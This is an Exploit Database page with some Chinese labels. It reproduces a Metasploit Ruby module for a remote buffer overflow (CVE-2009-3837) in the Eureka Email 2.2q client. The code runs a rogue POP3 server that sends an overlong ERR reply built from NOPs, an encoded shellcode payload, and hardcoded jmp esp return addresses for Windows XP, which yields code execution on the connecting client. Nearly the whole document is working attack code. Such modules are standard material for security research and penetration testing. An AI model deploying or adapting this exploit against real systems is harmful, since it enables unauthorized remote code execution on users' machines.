Eureka Email Client 2.2q – ERR Remote Buffer Overflow (Metasploit) (2)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-08-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16443/

• ##
  # $Id: eureka_mail_err.rb 10150 2010-08-25 20:55:37Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
  			# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
  			# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
  			'Description'=> %q{
  				This module exploits a buffer overflow in the Eureka Email 2.2q
  				client that is triggered through an excessively long ERR message.
  
  				NOTE: this exploit isn't very reliable. Unfortunately reaching the
  				vulnerable code can only be done when manually checking mail (Ctrl-M).
  				Checking at startup will not reach the code targeted here.
  			},
  			'Author' 	 =>
  				[
  					'Francis Provencher (Protek Research Labs)',
  					'Dr_IDE',
  					'dookie',
  					'jduck'
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10150 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-3837' ],
  					[ 'OSVDB', '59262 ' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/10235' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 700,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  					'DisableNops' => true,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Win XP SP3 English',	{ 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
  					[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
  				],
  			'Privileged' => false,
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Oct 22 2009'
  			))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
  			], self.class)
  	end
  
  	def on_client_connect(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		# the offset to eip depends on the local ip address string length...
  		already = "Your POP3 server had a problem.\n"
  		already << datastore['LHOST']
  		already << " said:\n\n-ERR "
  		space = (512+256+4) - already.length
  
  		buffer ="-ERR "
  		buffer << make_nops(space - payload.encoded.length)
  		buffer << payload.encoded
  		buffer << [target.ret].pack('V')
  		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
  		buffer << "\r\n"
  
  		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
  		client.put(buffer)
  
  		handler
  		service.close_client(client)
  	end
  
  end